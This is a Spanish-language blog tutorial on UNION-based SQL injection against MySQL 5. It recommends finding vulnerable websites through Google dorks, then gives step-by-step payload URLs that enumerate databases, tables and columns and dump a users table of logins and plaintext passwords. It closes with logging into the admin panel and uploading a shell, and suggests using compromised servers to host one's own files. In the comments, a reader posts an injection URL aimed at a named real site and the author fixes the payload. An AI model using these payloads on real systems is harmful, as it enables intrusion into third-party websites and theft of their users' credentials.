domingo, 10 de marzo de 2013

SQLi MySQL V5

Como en la entrada anterior (les recomiendo leerla antes de comenzar este tutorial, ya que no me detendre en conceptos vistos anteriormente) mostramos como hacer una SQLi a MySQL V4 en esta parte veremos como hacerlo pero con la version 5 esto lo sabremos facilmente..... antes de comenzar les recomiendo pasarse por W3schools tiene muy buenos tutoriales y entre ellos el de SQL 

Bueno empecemos, antes que nada si quieren practicar pueden tomar droks y buscar en google y utilizar un poquito la tecnica Google Hacking por ejemplo....
site:dominio inurl:dork podria ser una buena eleccion ....


 Ya que tengamos nuestro sitio vulnerable y los conocimientos basicos de SQL entonces empecemos el tutorial....

Primero pruebo a ver si es vulnerable esto le hacemos agregando caracteres no validos para una inyeccion, ejemplo:

Como puedes ver agregamos \ este caracter es un escape un caracter no valido por lo que no arroja El error indicando que la DBMS es MySQL

Hasta aqui sabemos que la inyeccion es de tipo string....

Ahora ordenamos las columnas de la consulta que esta haciendo....


pagina.com/publications.php?id=12' order by 10 -- - =>verdadero
pagina.com/publications.php?id=12' order by 15 -- - =>falso
pagina.com/publications.php?id=12' order by 14 -- - =>verdadero

Entonces deducimos que si no tiene 15 por que arrojo falso pero en 14 arrojo verdadero entonces tiene 14 columnas :D

las unimos....

pagina.com/publications.php?id=12' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 -- - =>verdadero

en este caso nos devolveria verdadero por que estamos seleccionando el numero de columnas correctas pero deberia de mostrarnos unos campos para saber que son vulnerables, esto lo sabemos por que el id seleccionado en ese momento es correcto entonces por eso se muestra correctamente la pagina web, entonces que tal si lo cambiamos por un valor falso como -12 o un valor nulo (null)...

pagina.com/publications.php?id=null' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 -- -



la pagina mostrara los campos vulnerables :D que son 4 y 6

entonces veamos la version....

pagina.com/publications.php?id=null' UNION SELECT 1,2,3,version(),5,6,7,8,9,10,11,12,13,14 -- -

5.1.56-log

Como podemos ver la version es 5 (muchos servidores tienen wafs y pueden detectar version puedes utilizar @@version y hay muchos tips mas por la red) por lo que podemos atacar con information_schema que es una base de datos de metadatos, hasta aqui podriamos empezar explicando mas profundamente por que lo de arriba se explico en el anterior tutorial de SQLi MySQL v4

Extrayendo las bases de datos

entonces lo que nos podria interesar podria ser saber las bases de datos que contiene esa pagina web para ello se consulta desde information_schema la tabla schemata dentro de ella hay una columna llamada schema_name que seria los nombres de las bases de datos.... probemos....

pagina.com/publications.php?id=null' UNION SELECT 1,2,3,group_concat(schema_name),5,6,7,8,9,10,11,12,13,14 from information_schema.schemata-- -




en este caso solo contamos con dos bases de datos solamente, por cierto se me paso decir que el comentario al ultimo -- - es de mysql, esto seria para que ignore todo lo que sigue si yo le agrego -- -estoesuncomentario  no afectaria

pagina.com/publications.php?id=null' UNION SELECT 1,2,3,group_concat(schema_name),5,6,7,8,9,10,11,12,13,14 from information_schema.schemata-- -estoesuncomentario

Extrayendo las tablas

ahora sacaremos las tablas para ello debemos de saber que la base de datos information_schema contiene una tabla llamada tables donde estan todas las tablas en la columna table_name....

pagina.com/publications.php?id=null' UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()-- -estoesuncomentario

Como vemos usamos la clausula where que seria como decir donde es decir seria algo asi selecionar table_name desde information_schema.tables donde table_schema=database() donde table_schema es la base de datos podemos indicarla como database() que nos devoveria la base de datos o tambien de manera table_schema='nombredelabasededatos' aunque muchos servidores activan magic_quotes por lo que se opta por usar hexadecimal tambien :P


Tenemos las tablas que son tres de las cuales nos interesa usuarios que vendria siendo para acceder al panel de administracion :)

Extrayendo columnas

Pues de igual manera information_schema contiene un tabla llamada columns donde ella tiene una columna llamada column_name donde estan los registros de todas las columnas de la tabla que indicaremos.....

pagina.com/publications.php?id=null' UNION SELECT 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14 from information_schema.columns where table_name='usuarios'-- -estoesuncomentario

aqui lo nuevo seria table_name que indica cual seria la tabla para sacar las columnas, es decir saca las columnas de la tabla usuarios...
en este caso indique usuarios encerrado como valor string pero muchos servidores no lo permiten en este caso si y es mejor para que entendieran el concepto, en otros casos deberemos transformar en hexadecimal....



ahi tenemos los datos que nos interesan :D

Extrayendo los registros


Por ultimo para estraer los registros es mas facil, por que ya tenemos la informacion de los valores anteriores como es la tabla, las columnas... entonces solo formamos la peticion :P

pagina.com/publications.php?id=null' UNION SELECT 1,2,3,concat_ws(id,Nombre,login,password),5,6,7,8,9,10,11,12,13,14 from usuarios-- -estoesuncomentario

como ves es tan facil como solo concatenar los valores en el campo vulnerable y pedirlos desde la tabla usuarios.....



En este caso todos nuestros valores estan en texto plano, es decir, no hacen uso de ninguna encriptacion como es normalmente comun....

El panel de admin explique como encontrarlo en la entrada anterior de SQLi en MySQL V4 por lo que no lo dire de nuevo... solo nos logeamos, subimos shell y listo.... Aqui les dejo un video con el que puedan ver los pasos realizados:



En un tutorial proximo podria ser que publique como subir shell ya que seria bueno comentar los bypass..... por lo pronto espero que les haya gustado el tutorial no sin antes decir que defacear sin tener razones por que es malo,no es etico (por que no sabemos lo que pudo haber tardado esa persona en programar la aplicacion por lo que podriamos avisarle y asi nos agradecera :P) y no me hago responsable solo es para fines educativos, asi que solo es para que prueben sus conocimientos o obtengan un servidor donde subir sus archivos....




3 comentarios:

  1. Este comentario ha sido eliminado por el autor.

    ResponderEliminar
  2. arthusu muy buen articulo sobre sqlinjection, he estado probando y he tenido un problemita a la hora de extraer las columnas de cierta tabla....te dejo el link y la slqinjection a ver si me puedes ayudar

    http://www.karmafilms.es/ficha_cine.php?ID=null%20union%20select%201,2,3,4,5,6,7,8,9,group_concat(colum_name),11,12,13,14,15,16,17,18,19%20from%20information_schema.colums%20where%20table_name=61646d696e6973747261646f726573

    ResponderEliminar
    Respuestas
    1. Te falta el 0x en table_name por que estas convirtiendolo en hexadecimal y pues debe llevar enfrente 0x :P Salu2

      Eliminar